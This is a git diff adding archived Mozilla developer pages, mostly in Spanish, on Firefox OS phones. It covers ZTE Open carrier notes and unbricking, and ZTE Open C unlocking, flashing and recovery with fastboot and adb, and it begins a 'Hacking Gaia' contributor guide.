+ <li>Aio Pro - $70/month with 7GB 3G data, $10/GB additional 3G data</li>
+</ul>
+
+<h4 id="Good2GO">Good2GO</h4>
+
+<ul>
+ <li><a href="https://us.good2gomobile.com/">Website</a></li>
+ <li><a href="#AT&amp;T">AT&amp;T</a> MVNO</li>
+</ul>
+
+<h5 id="Sampling_of_prepaid_Good2GO_plans">Sampling of prepaid Good2GO plans</h5>
+
+<ul>
+ <li>$50/month with 1GB 3G data, $20/GB additional 3G data</li>
+</ul>
+
+<h4 id="Other_ATT_MVNOs">Other <a href="#AT&amp;T">AT&amp;T</a> MVNOs</h4>
+
+<p>These carriers do not offer additional 3G data.</p>
+
+<ul>
+ <li><a href="http://goredpocket.com/">RedPocket</a></li>
+ <li><a href="http://www.net10wireless.com/">Net10</a></li>
+ <li><a href="http://www.straighttalk.com/">Straight Talk</a></li>
+ <li><a href="https://www.airvoicewireless.com/">Airvoice</a></li>
+</ul>
+
+<h4 id="T-Mobile">T-Mobile</h4>
+
+<ul>
+ <li><a href="http://www.t-mobile.com/">Website</a></li>
+ <li>Nationwide coverage for 2G EDGE, limited metropolitan coverage for 3G</li>
+</ul>
+
+<h3 id="Canadian_carriers">Canadian carriers</h3>
+
+<p>The US version of the ZTE Open also work in Canada on carriers that use the Bell/Telus network, or the Rogers network. Some regional carriers like Sasktel or MTS that have UMTS should work too.</p>
+
+<p>It will not work on carriers that do not use UMTS or GSM, like Public Mobile, nor on the carriers that use the AWS band like WIND Mobile, Mobilicity, Videotron or Eastlink.</p>
+
+<h2 id="Memory_card">Memory card</h2>
+
+<h3 id="File_system">File system</h3>
+
+<p>In order to be recognized by the phone, the MicroSD card must be formatted as a FAT32 file system. If a card is new or has never been reformatted, it should work as is.</p>
+
+<h2 id="Device_revisions">Device revisions</h2>
+
+<h3 id="Revision_01">Revision 01</h3>
+
+<p>Phones produced before 09/27/2013 do not have fastboot enabled and must be updated. Normally, this would be handled by Software Updates, but since some users have reported trouble with this method, ZTE have made SD card packages available to enable fastboot on earlier devices. Flash images for:</p>
+
+<ul>
+ <li><a href="http://www.ztedevices.com/support/smart_phone/b5a2981a-1714-4ac7-89e1-630e93e220f8.html">Phones purchased at ZTE eBay US/Hong Kong store</a></li>
+ <li><a href="http://www.ztedevices.com/support/smart_phone/cba40ed6-d3ab-44c0-bdee-3a15803dc187.html">Phones purchased at ZTE eBay UK store</a></li>
+</ul>
+
+<p>The zip file is linked under Downloads.  Note that you need to download the version with your OS revision in it (that is, download the "V1.1.0B02(for V1.0)" if you are upgrading <em>from</em> V1.0).  Once the file is downloaded and unzipped, follow the instructions in the bundled PDF to flash the package to your phone.</p>
+
+<p>Related Support Forum Questions:</p>
+
+<ul>
+ <li><a href="https://support.mozilla.org/en-US/questions/971252">ZTE Open update crashes</a></li>
+ <li><a href="https://support.mozilla.org/en-US/questions/967817">Why is my ZTE Open unable to update Firefox OS?</a></li>
+ <li><a href="https://support.mozilla.org/en-US/questions/976414?page=3">How can I unbrick ZTE Open with adb debug Disabled?</a></li>
+</ul>
+
+<h3 id="Revision_02">Revision 02</h3>
+
+<p>Phones produced on or after 09/27/2013 are fastboot enabled by default. <strong>This includes the Hong Kong phones.</strong></p>
+
+<div class="note">
+<p><strong>Note</strong>: If you are unsure of your phone's revision, check it in <strong>Settings &gt; Device Information &gt; Software</strong>. If it is older than the following version numbers, you will need to update your phone using the above SD packages to enable fastboot.</p>
+
+<ul>
+ <li>Phones from UK store：OPEN_EU_DEV_FFOS_V1.0.0B02</li>
+ <li>Phones from US store：OPEN_US_DEV_FFOS_V1.0.0B02 <em>(Some phones may display this version incorrectly, see <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=916098#c39">bug 916098</a>.)</em></li>
+</ul>
+</div>
+
+<h2 id="Device_support">Device support</h2>
+
+<p>Once your phone has <a href="#Device_revisions">fastboot enabled</a>, you will then be able to <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS">build and install new Firefox OS/B2G</a> builds on it (start at the <a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites">build prerequisite</a> instructions, and treat the ZTE like it is an Inari device, for the purposes of configuration), and recover your phone if necessary, using the procedure cited in the <a href="#I_bricked_my_phone">I bricked my phone</a> section.</p>
+
+<p>If you encounter errors about setting the system time while flashing a custom build, you may need to download a <a href="http://sl.edujose.org/2013/10/adapted-boot-image-for-use-with-b2g.html">modified boot image</a>.</p>
+
+<h3 id="I_bricked_my_phone">I bricked my phone</h3>
+
+<p>If you are in the process of modifying your phone and it becomes “unresponsive” you should be able to recover it using fastboot with the following simple procedure.</p>
+
+<p>First remove the USB cable and then remove the battery from the phone for 30 seconds. Then reinsert the battery and press the volume up button while holding the power button for a few seconds. Next reconnect the USB cable and run the following commands from a terminal window in the directory that contains the SD package files described above (it is worth checking for an update to the SD package before you do this):</p>
+
+<pre class="brush: bash" lang="bash">fastboot flash recovery recovery.img
+fastboot flash boot boot.img
+fastboot flash userdata userdata.img
+fastboot flash system system.img
+fastboot reboot
+</pre>
+
+<p>This process should recover your phone. If it doesn't seem to work, you may have to try it a second time.</p>
+
+<h3 id="Headphones_not_working">Headphones not working?</h3>
+
+<p>We found that the headset jack is designed by a Chinese manufacturer that has compatibility problems with other brands of headsets that include microphones. You may have voice mute problems when you try to use headsets made by Apple, Samsung, HTC, and others. You can buy a 3.5 mm headset adapter that reverses the microphone and ground pins to avoid this problem. For more information, see <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=812607" title="[Unagi] No microphone output through headphones when connected to a call">error 812607</a>.</p>
+
+<h3 id="Other_support_notes">Other support notes</h3>
+
+<p>Some customers have come across an Issue of FOTA updates failing to enable fastboot; this is still under investigation, and we are assisting ZTE to analyze every scenario. We will post more information as it is available.</p>
+
+<p>If your phone was unfortunately damaged during the FOTA update because of ZTE providing false or wrong update files, you can attempt to restore it to factory settings using the appropriate SD image and instructions referenced in <a href="#Revision_01">Revision 01</a>. Otherwise, send your phone back to the eBay store you purchased it from in exchange for a new one. You may contact the store owner directly via an eBay message.</p>
+
+<h2 id="See_also">See also</h2>
+
+<p><a href="https://marketplace.firefox.com/developers/dev_phone">Official Dev Phone page on Firefox Marketplace</a></p>
+
+<p><a href="http://www.movistar.co/documentos/manualesProductos/ZTE_Mozilla_Open_P752-Manual_de_Usuario.pdf">Draft User Manual [en-US]</a> - PDF</p>
diff --git a/files/es/archive/b2g_os/phone_guide/zte_open_c/index.html b/files/es/archive/b2g_os/phone_guide/zte_open_c/index.html
new file mode 100644
index 0000000000..985a7e413e
--- /dev/null
+++ b/files/es/archive/b2g_os/phone_guide/zte_open_c/index.html
@@ -0,0 +1,226 @@
+---
+title: ZTE OPEN C
+slug: Archive/B2G_OS/Phone_guide/ZTE_OPEN_C
+tags:
+  - Dispositivos
+  - Gaia
+  - Guia(2)
+  - Móvil
+  - Open C
+  - Smarthpone
+  - Teléfono(2)
+  - Teléfonos(2)
+  - zte
+translation_of: Archive/B2G_OS/Phone_guide/ZTE_OPEN_C
+---
+<div class="summary">
+<p><span class="seoSummary">El ZTE Open C con Firefox OS es un móvil con Firefox OS mejorado por ZTE que ofrece un hardware más potente, incluyendo una cámara de 3MP y pantalla de 4 pulgadas con una calida WVGA, y viene instalado con Firefox OS 1.3. Este artículo proporciona información acerca del dispositivo, incluyendo como actualizarlo y detalles de como solucionar problemas.</span></p>
+</div>
+
+<div class="note">
+<p><strong>Nota: Las instrucciones no son válidas para el ZTE Open. Si tienes un ZTE Open debes ir al link del <a href="https://developer.mozilla.org/en-US/Firefox_OS/Phone_guide/ZTE_OPEN">ZTE Open</a></strong></p>
+</div>
+
+<div class="note">
+<p><strong>Nota: La herramienta de actualización que es necesaria para desbloquear el dispositivo (mirar abajo) solo está disponible para Windows en este momento. Sin embargo, hay una manera más complicada de desbloquear el dispositivo en OS X o Linux que es descrita más abajo.</strong></p>
+</div>
+
+<p>El ZTE Open C es el primer dispositivo con <a href="https://blog.mozilla.org/futurereleases/2014/05/08/firefox-os-update-adds-new-features-including-dual-sim-support-and-enhancements-for-music-lovers-and-gamers/">las últimas actualizaciones de Firefox os de mediados de 2014</a> ofreciendo nuevas características incluyendo un acceso al reproductor de música desde la pantalla de bloqueo o la barra de notificaciones y compartir archivos por Bluetooth, permitiendo transferir varios archivos simultaneamente. Los usuarios pueden desplazarse por el dispositivo más rápido con las carpetas inteligentes que agrupan apicaciones o búsquedas de aplicaciones automaticamente en categorías, un sistema de scroll mejorado y aplicaciones del sistema que se inician más rápido.(ej: calendario, contactos, cámara...)</p>
+
+<h2 id="Obtén_tu_dispositivo">Obtén tu dispositivo</h2>
+
+<p>El dispositivo está disponible para comprar en ebay a un precio de 70$</p>
+
+<ul>
+ <li><a href="http://item.ebay.com/291125433026">ZTE eBay US store</a></li>
+ <li><a href="http://item.ebay.co.uk/171301269724">ZTE eBay UK store</a> (los clientes de Europa deben utilizar esta tienda)</li>
+ <li><a href="http://cgi.ebay.de/ws/eBayISAPI.dll?ViewItem&amp;item=131151681046&amp;ssPageName=STRK:MESE:IT">ZTE eBay DE store</a></li>
+ <li><a href="http://www.ebay.com/itm/111326263156">ZTE eBay RU and EU stores</a></li>
+</ul>
+
+<div class="note">
+<p><strong>Nota: Clientes de Francia deben echar un vistazo a <a href="https://developer.mozilla.org/fr/Firefox_OS/Guide_Telephone_Developpeur/ZTE_OPEN_C#Acheter_l%27appareil">la página francesa de MDN para obtener sus respectivos proveedores.</a></strong></p>
+</div>
+
+<div class="note">
+<p><strong>Nota: Los dispositivos no vienen con ninguna aplicación específica de cada operador o sus servicios y están liberados para todas las variantes de los primeros clientes.</strong></p>
+</div>
+
+<h2 id="Especificaciones_del_dispositivo">Especificaciones del dispositivo</h2>
+
+<p>Puedes encontrar más información de sus especificaciones en el listado de <a href="https://developer.mozilla.org/en-US/Firefox_OS/Phone_guide/Phone_specs">especifiaciones del telefono y dispositivo.</a></p>
+
+<h2 id="Actualizando_el_software">Actualizando el software</h2>
+
+<div class="note">
+<p><strong>Nota: La comunidad francesa de Mozilla proporciona <a href="http://builds.firefoxos.mozfr.org/doc/en/devices/zte-open-c">builds actualizadas del ZTE Open C.</a></strong></p>
+</div>
+
+<p>Para actualizar el software de tu ZTE Open C, la forma más facil usar las builds disponibles en la página de ZTE. Para encontrar esto, ve <a href="http://www.ztedevice.com/support/">al centro de soporte de ZTE</a>, selecciona tu región en la columna derecha, en la columa del centro selecciona <em>Smartphones</em>, y Open C (estándar europeo) o Open C (estándar americano), dependiendo de donde viniera el dispositivo que compraste. Sólo pudimos encontrar el ZTE Open C en España a partir de Agosto del 2014. Luego clickea en <em>Seleccionar</em> para ir a la página de descarga.</p>
+
+<p>Cuandp vayas a descargar una build, deberás encontrar un PDF en un ZIP explicando como instalar la build.</p>
+
+<h2 id="Actualización_manual.">Actualización manual.</h2>
+
+<p>Si quieres actualizar Gecko o Gaia tú mismo, el proceso es un poco complicado, porque el teléfono está bloqueado por defecto (no hay permisos root). Para desbloquear tu teléfono, puedes usar <a href="http://en.comebuy.com/developer-firefox-os-open-c.html">la herramienta de actualización del Open C.</a></p>
+
+<div class="note">
+<p><strong>Nota: Esta herramienta de actualización solo está disponible para Windows por ahora.</strong></p>
+</div>
+
+<p>Si quieres desbloquear tu móvil desde OS X o Linux, esto es lo que tienes que hacer:</p>
+
+<ol>
+ <li>Descarga la build desde el link de Comebuy.com</li>
+ <li>Extrae la build del paso 1 y deberás encontrar un archivo boot.img dentro del zip.</li>
+ <li>
+  <p>Añade las siguientes líneas en  in /etc/udev/android.rules :</p>
+
+  <pre>SUBSYSTEM=="usb", ATTR{idVendor}=="19d2", ATTR{idProduct}=="1350", MODE="0666", GROUP="plugdev"
+SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", ATTR{idProduct}=="d00d", MODE="0666", GROUP="plugdev"</pre>
+ </li>
+ <li>Para entrar en el modo fastboot usa los siguientes comandos en tu terminal:
+  <pre class="brush: bash" id="comment_text_2"> adb reboot-bootloader</pre>
+ </li>
+ <li>Para flashear el archivo boot.img del paso 2 al dispositivo, usa este comando:
+  <pre class="brush: bash" id="comment_text_2"> fastboot flash boot boot.img</pre>
+  si lo prefieres, para verificar que fumciona antes de flashear, deberás usar:
+
+  <pre class="brush: bash" id="comment_text_2"> fastboot boot boot.img </pre>
+ </li>
+ <li>Para reiniciar el dispositivo usa:
+  <pre class="brush: bash" id="comment_text_2"> fastboot reboot </pre>
+ </li>
+ <li>Ahora deberás tener el móvil desbloqueado y funcionando:
+  <pre class="brush: bash" id="comment_text_2">adb shell getprop ro.secure</pre>
+  deberás volver al paso 0.</li>
+</ol>
+
+<h3 id="Actualizando_Gecko_y_Gaia">Actualizando Gecko y Gaia</h3>
+
+<p>Una vez que tu móvil esté en modo fastboot, podrás <a href="https://developer.mozilla.org/en-US/Firefox_OS/Building_and_installing_Firefox_OS">construir e instalar una nueva versión de Firefox OS/B2G</a> y los componenetes Gecko y Gaia.</p>
+
+<ol>
+ <li>Comienza en <a href="https://developer.mozilla.org/en-US/Firefox_OS/Firefox_OS_build_prerequisites">instrucciones</a>, y trata al Open C como al Flame en términos de configuración: esto es debido a que el Flame y el Open c están basados en Android Jellybean.
+
+  <div class="warning">
+  <p><strong>Cuidado: Esto no significa que puedas flashear una imagen del Flame. Hacer esto provocará un brick permanente en tu móvil que no podrá ser solucionado.</strong></p>
+  </div>
+ </li>
+ <li>Durante el paso de configuración, necesitarás un archivo manifest para el Open C. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1016867">Descargalo desde aquí </a>y guardalo en cualquier lugar de tu disco local como openc.xml.</li>
+ <li>Limpia el  directorio B2G, borrando los directorios innecesarios:
+  <pre class="brush: bash" id="comment_text_2">rm -rf objdir-gecko/ out/ backup-flame/</pre>
+ </li>
+ <li><u>Opcional:</u> Antes de continuar, puedes escoger la versión de Gecko y Gaia que quieres construir. Para hacer eso, abre el archivo openc.xml, localiza las etiquetas gecko git, gaia y gonk-misc, y modifica el valor de su revisión para coincidir con la versión que quieres. Ejemplo: puedes construir la versión 2.2 de Gecko y Gaia, con lo siguiente:
+  <pre class="brush: xml">&lt;project name="gecko.git" path="gecko" remote="mozillaorg" revision="v2.2"/&gt;
+(...)
+&lt;project name="gaia" path="gaia" remote="mozillaorg" revision="v2.2"/&gt;
+&lt;project name="gonk-misc" path="gonk-misc" remote="b2g" revision="v2.2"/&gt;</pre>
+ </li>
+ <li>Ahora configura Firefox OS con los siguientes comandos: (Nota: el directorio no puede contener espacios, de otra manera no funcionará)
+  <pre class="brush: bash  language-html">./config.sh flame /PATH/TO/openc.xml</pre>
+ </li>
+ <li>Puedes construir el componente Gecko y flashearlo en tu teléfono usando lo siguiente:
+  <pre class="brush: bash  language-html">./build.sh gecko
+./flash.sh gecko</pre>
+
+  <div class="note">
+  <p><strong>Nota: El último paso del comando flash.sh es para reiniciar el dispositivo, pero la secuencia de inicio no se completará (se congelará cuando salga el zorro animado). No te preocupes, esto es normal.</strong></p>
+  </div>
+ </li>
+ <li>Ahora puedes actualizar Gaia, para que la nueva versión de Gecko funcione con la nueva versión de Gaia en tu dispositivo :
+  <pre class="brush: bash  language-html">cd gaia
+make reset-gaia</pre>
+ </li>
+ <li>Finalmente, puede que necesites <a href="https://developer.mozilla.org/es/Firefox_OS/Guia_para_desarrollador_de_telefonos_moviles_Boot_to_Gecko_developer/ZTE_OPEN_C$edit#Font_fix">actualizar las fuentes</a>.</li>
+</ol>
+
+<div class="warning">
+<p><strong>Cuidado: Intentar flashear una imagen del Flame dejará tu móvil brickeado.</strong></p>
+</div>
+
+<p> </p>
+
+<h3 id="Actualizando_Gaia">Actualizando Gaia</h3>
+
+<p> </p>
+
+<p>Para actualizar solo Gaia, dejando Gecko solo, necesitas clonar el repositorio de Gaia desde Github, luego flashealo en tu dispositivo.</p>
+
+<ol dir="ltr">
+ <li>Asegurate de que tienes <a href="https://developer.mozilla.org/en-US/Firefox_OS/Debugging/Installing_ADB">ADB </a>instalado.</li>
+ <li>Ve a <a href="https://github.com/mozilla-b2g/gaia">https://github.com/mozilla-b2g/gaia, </a>luego haz click en el botón "fork", situado en la esquina derecha arriba para forkearlo en tu repositorio.</li>
+ <li>Clona el código desde tu repositorio forkeado en tu escritorio ejecutando lo siguiente en tu terminal:
+  <pre class="brush: bash  language-html">git clone https://github.com/your-github-username/gaia.git</pre>
+ </li>
+ <li><code>Usa el comando cd en el directorio resultante</code>.</li>
+ <li>En tu teléfono, <a href="https://developer.mozilla.org/en-US/Firefox_OS/Debugging/Developer_settings#Debugging_via_USB">activa la depuración remota</a> (elige ADB y la opción Devtools)</li>
+ <li>Ahora conecta tu móvil al ordenador vía USB; asegurate de que es reconocido metiendo dispositivos adb en tu terminal.</li>
+ <li>Ejecuta los siguientes comandos para reiniciar tu móvil y actualiza con el nuevo código fuente de Gaia.
+  <pre class="brush: bash  language-html">make reset-gaia</pre>
+ </li>
+</ol>
+
+<h3 id="Arreglar_fuentes">Arreglar fuentes</h3>
+
+<p>Después de actualizar Gecko/Gaia, puede que encuentres diferencias entre las fuentes de Gecko y Gaia. Para arreglar esto, descarga <a href="https://people.mozilla.org/%7Emwu/fira-font-update.zip">nuestra actualización de fuentes</a>, extraelo, accede al directorio creado tras la extracción, y ejecuta el script flash.sh.                                                                                                      <br>
+ <br>
+ Otra opción es usar <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/update_system_fonts.sh">el script para actualizar las fuentes del sistema</a>, que descarga y flashea las fuentes del sistema automaticamente.</p>
+
+<h3 id="Imágenes_del_sistema">Imágenes del sistema</h3>
+
+<p>Si no quieres compilar Gecko y Gaia por ti mismo, puedes usar una imágen compabitle del Flame ofrecida por Mozilla. Siempre que tu teléfono haya sido desbloqueado con la herramienta de ZTE, puedes flashear una imágen del sistema desde el <a href="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/">directorio de imágenes de prueba (nightly builds).</a> Este proceso borrará todos tus datos; para hacer una copia de seguridad de tu perfil de usuario usa <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/backup_restore_profile.py">este script </a>antes de flashear el nuevo sistema.</p>
+
+<p>Elige tu sabor favorito entre <em>mozilla-centra, aurora, o vanilla</em> y elige el entorno Gecko. Todas los directorios de imagen son llamados como "2014-10-06-xx-yy-zz-mozilla-<em>your_flavor</em>-<em>device_codename</em>" así que necesitarás buscar "2014-10-06-xx-yy-zz-mozilla-your_flavor-<strong>flame</strong>". La imágen de B2G que está dentro del directorio específico de Gecko tiene una versión y lenguaje básico, "b2g-34.0a2.en-US.android-arm.tar.gz" es la versión Gecko 34 y el lenguaje es inglés americano por defecto, descarga "Gaia.zip" si quieres actualizar Gaia también.</p>
+
+<p>Para flashear estos archivos en el dispositivo necesitarás un script llamado <strong>shallow_flash</strong>; puedes encontrarlo <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/shallow_flash.sh">aquí</a>, descarga el script y ejecútalo vía terminal.</p>
+
+<p>En Mac y Cygwin</p>
+
+<pre class="brush: bash  language-html">./shallow_flash.sh -g gaia.zip -G b2g-XX.XX.en-US.android-arm.tar.gz</pre>
+
+<p>En Linux</p>
+
+<pre class="brush: bash  language-html">./shallow_flash.sh -ggaia.zip -Gb2g-XX.XX.en-US.android-arm.tar.gz</pre>
+
+<p> </p>
+
+<h2 id="He_bloqueado_(brick)_mi_teléfono">He bloqueado (brick) mi teléfono</h2>
+
+<p>Si tu equipo no responde, deberías desbloquearlo (unbrick) utilizando las builds oficiales y las intrucciones para flashearlo vía tarjeta SD, en la página oficial de ZTE.</p>
+
+<ul>
+ <li><a href="http://www.ztedevices.com/support/smart_phone/65229ec9-3165-424e-a7dd-3759356325fd.html?type=software">ZTE Open C (Ebay) - España</a></li>
+ <li><a href="http://www.ztedevices.com/support/smart_phone/92f36c98-9cc0-42d6-8f23-8834b4a6849c.html?type=software">ZTE Open C (Ebay) - UK Estandar Americano</a></li>
+ <li><a href="http://www.ztedevices.com/support/smart_phone/46d40c52-bed4-4cdc-9df9-01719cdf0a70.html?type=software">ZTE Open C (Ebay) - UK Estándar Europeo</a></li>
+ <li><a href="http://www.ztefrance.com/assistance/">ZTE French Website - Francés</a></li>
+</ul>
+
+<p>Sin embargo, si la partición de tu sistema es defectuosa, tendrás que repararlo usando directamente el acceso fastboot. Asumiendo que estás utilizando Ubuntu GNU/Linux:</p>
+
+<ol>
+ <li>Descarga la<a href="download.ztedevice.com/UpLoadFiles/product/550/4443/soft/2014061214153128.zip"> imágen del sistema de recuperación </a>desde la página de soporte de ZTE y extrae el archivo update.zip en tu escritorio.</li>
+ <li>Extrae el archivo recovery.img desde update.zip.</li>
+ <li>Crea un directorio small-system/ en el escritorio y copia dentro el archivo <strong>build.prop</strong>, y los directorios <strong>lib/ </strong>y <strong>bin/ </strong>que encontrarás en el archivo update.zip.</li>
+ <li>Instala el paquete <code>android-tools-fsutils</code> ( o instala <code><a href="http://forum.xda-developers.com/attachment.php?attachmentid=2431494&amp;d=1386115975">ext4_utils</a></code> desde la fuente en <a href="http://forum.xda-developers.com/galaxy-s2/general/ref-unpacking-repacking-stock-rom-img-t1081239">XDAdevelopers</a>.</li>
+ <li>Crea tu  <code>small-system.img</code>:
+  <pre class="brush: bash  language-html">./make_ext4fs -l 40M small-system.img ~/Desktop/small-system/</pre>
+ </li>
+ <li>Mueve el archivo small-system.img a tu escritorio y enciende el dispositivo en modo <em>fastboot</em> presionando el botón <em>power y el botón de bajar volumen</em> a la vez.</li>
+ <li>Conecta el dispositivo a tu ordenador (los dispositivos fastboot se deberían mostrar) y flasea small-system.img
+  <pre class="brush: bash  language-html">fastboot flash system small-system.img</pre>
+ </li>
+ <li>Entonces enciende el móvil en modo <em>recovery</em> usando recovery.img:
+  <pre class="brush: bash  language-html">fastboot boot recovery.img</pre>
+ </li>
+ <li>En el menú de booteo, selecciona la entrada <em>apply udate from ADB</em> (usando <em>volúmen arriba</em> y <em>volumen abajo</em> para navegar y <em>power</em> para seleccionar) y entonces:
+  <pre class="brush: bash  language-html">adb sideload update.zip</pre>
+ </li>
+ <li>
+  <p class="brush: bash  language-html">Al finalizar el proceso, sólo tienes que reiniciar tu dispositivo.</p>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>Nota: Puedes hacer <a href="https://support.mozilla.org/en-US/questions/1003136">referencia a esta entrada de soporte </a>para más información.</strong></p>
+</div>
diff --git a/files/es/archive/b2g_os/platform/gaia/hacking/index.html b/files/es/archive/b2g_os/platform/gaia/hacking/index.html
new file mode 100644
index 0000000000..22599068e9
--- /dev/null
+++ b/files/es/archive/b2g_os/platform/gaia/hacking/index.html
@@ -0,0 +1,226 @@
+---
+title: Hackeando Gaia
+slug: Archive/B2G_OS/Platform/Gaia/Hacking
+translation_of: Firefox_OS/Developing_Gaia
+---
+<div class="warning">
+<p><span id="result_box" lang="es"><span class="hps">Esta página</span> <span class="hps">está dirigida a</span> <span class="hps">desarrolladores de</span> <span class="hps">Gaia</span></span>. Si usted está buscando información acerca de cómo construir y ejecutar Firefox OS, debería consultar la página de <a href="/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS">Construyendo e Instalando Firefox OS</a> en su lugar.</p>
+</div>
+
+<p>Gaia es la colección de <a href="https://developer.mozilla.org/apps" rel="nofollow">aplicaciones web</a> que forman la interfaz de <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a>. Cualquier cosa que usted vea en la pantalla del Firefox OS es creada usando tecnologías web abiertas. Esto incluye la pantalla de inicio y todas las aplicaciones predeterminadas.</p>
+
+<h2 id="Obteniendo_el_código_fuente">Obteniendo el código fuente</h2>
+
+<p>Para obtener el código fuente de Gaia, <a href="https://github.com/mozilla-b2g/gaia" title="https://github.com/mozilla-b2g/gaia">fork us on GitHub</a> and then clone your fork using <a href="http://git-scm.com/" title="http://git-scm.com/">git</a>.</p>
+
+<pre>$ git clone https://github.com/mozilla-b2g/gaia.git</pre>
+
+<h2 id="Ejecutando_Gaia">Ejecutando Gaia</h2>
+
+<p>Usted puede ejecutar Gaia en el escritorio, en Firefox, o en un un dispositivo móvil compatible.</p>
+
+<h3 id="B2G_desktop">B2G desktop</h3>
+
+<p>B2G desktop es una versión de escritorio de la aplicación de ejecución utilizada en los dispositivos Firefox OS, la cual puedes utilizar para correr Gaia en tu computadora de escritorio.</p>
+
+<p>Puedes descargar una versión nightly de B2G desktop desde <a href="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/" title="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/">aquí</a>.Dependiendo de qué versión estés utilizando, puede que quieres una versión específica de latest-mozilla-b2g18. Hay versiones para Linux (32 bits y 64 bits), Mac OS X y Windows.</p>
+
+<p>Las versiones Nightly tienen empaquetadas con ellas una versión reciente de Gaia. Una vez que hayas descargado el archivo, todo lo que necesitas es extraerlo en una carpeta y correr el binario de b2g desde la carpeta extraída.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Las versiones de 64-bits de Linux no funcionan correctamente con algunas distribuciones, se trata del <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=812484" title="FIXED: [Desktop Build] Nightly 64-bit Linux build broken">error 812484</a>. Si tienes problemas trata con una versión de 32-bits en lugar de una de 64-bits</p>
+</div>
+
+<pre>$ cd b2g
+$ ./b2g</pre>
+
+<p>Para correr B2G con tu propia versión de Gaia para propósitos de desarrollo primero necesitas una construir una versión de tu copia:</p>
+
+<pre>$ cd /path/to/gaia
+$ DEBUG=1 make</pre>
+
+<p>Esto generara un directorio en tu carpeta gaia llamada profile. La parte DEBUG correo Gaia como aplicaciones locales en servidor-web interno, en lugar las aplicaciones empaquetadas por defecto, estas tienen que ser re-empaquetadas después de cada cambio. Puedes encontrar la ruta del perfil de directorio tomando un vistazo a la última línea de salida después de ejecutar el comando de abajo, que debería verse así:</p>
+
+<pre>Profile Ready: please run [b2g|firefox] -profile /path/to/gaia/profile</pre>
+
+<p>Puedes entonces correr B2G Desktop con tu perfil generado como se indica abajo:</p>
+
+<pre>$ ./b2g /path/to/gaia/profile</pre>
+
+<p>Si quieres puedes compilar tu propio B2G desktop desde el código.</p>
+
+<h3 id="Usando_Gaia_en_Firefox">Usando Gaia en Firefox</h3>
+
+<p>It's also possible to run Gaia inside of Firefox. This gives you the advantages of having a rapid development cycle, as well as standard web development tools and debuggers. See <a href="/en-US/docs/Mozilla/Firefox_OS/Using_Gaia_in_Firefox" title="/en-US/docs/Mozilla/Firefox_OS/Using_Gaia_in_Firefox">Using Gaia in Firefox</a> for details on how to do this.</p>
+
+<h3 id="Usando_Gaia_en_un_dispositivo">Usando Gaia en un dispositivo</h3>
+
+<p>If you have a compatible mobile device you can also run Gaia by flashing it with Firefox OS. See <a href="/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS" title="Mozilla/Firefox_OS/Building_and_installing_Firefox_OS">Building and installing Firefox OS</a> for details on how to do this. We also have documentation for <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing" title="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform/Testing">how to test Firefox OS</a>.</p>
+
+<h2 id="Unidad_de_pruebas">Unidad de pruebas</h2>
+
+<p>See <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Gaia_unit_tests" title="Mozilla/Firefox_OS/Platform/Testing/Gaia_unit_tests">Gaia unit tests</a> for documentation about how to create and run unit tests for Gaia.</p>
+
+<h2 id="Presentando_errores">Presentando errores</h2>
+
+<p>Bugs are filed on Bugzilla under <a href="https://bugzilla.mozilla.org/buglist.cgi?product=Firefox OS&amp;component=Gaia&amp;resolution=---" rel="nofollow">Firefox OS &gt; Gaia</a>. File a new bug <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox OS" title="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox OS">under the Gaia component</a> (or one of the sub-components).</p>
+
+<h2 id="Contribuyendo_a_Gaia">Contribuyendo a Gaia</h2>
+
+<p>Mozilla depends on contributions from the open source community to help develop Gaia apps and we'd love you to get involved.</p>
+
+<p>Some great places to find some bugs to start hacking on:</p>
+
+<ul>
+ <li><a href="https://bugzilla.mozilla.org/buglist.cgi?quicksearch=component:gaia%20sw:polish%20@nobody;list_id=4566236" rel="nofollow">Unowned Gaia polish bugs on Bugzilla</a></li>
+ <li><a href="http://www.joshmatthews.net/bugsahoy/?b2g=1" rel="nofollow">Mentored bugs</a></li>
+</ul>
+
+<h3 id="Estilos_de_codificación_básicos">Estilos de codificación básicos</h3>
+
+<ul>
+ <li>Background:
+  <ul>
+   <li><a href="/en-US/docs/Developer_Guide/Coding_Style#General_practices" title="Developer_Guide/Coding_Style#General_practices">Coding Style: General practices</a></li>
+   <li><a href="/en-US/docs/Developer_Guide/Coding_Style#JavaScript_practices" title="Developer_Guide/Coding_Style#JavaScript_practices">Coding Style: JavaScript practices</a></li>
+   <li><a href="/en-US/docs/Developer_Guide/Coding_Style#Naming_and_formatting_guide" title="Developer_Guide/Coding_Style#Naming_and_formatting_guide">Coding Style: Naming and formatting guide</a></li>
+  </ul>
+ </li>
+ <li>Make sure HTML files are declared <code>&lt;!DOCTYPE html&gt;</code> (that is, as HTML5 documents). If you don't, Internet Explorer 9 and later will load them in compatibility mode.</li>
+ <li>Include the <code>"use strict";</code> statement (just like that, including the quotes) to the top of your JavaScript files to put them into strict mode.</li>
+ <li>Always use two spaces for indentation, rather than tabs.</li>
+ <li>Please use line breaks to separate logical bits of code!</li>
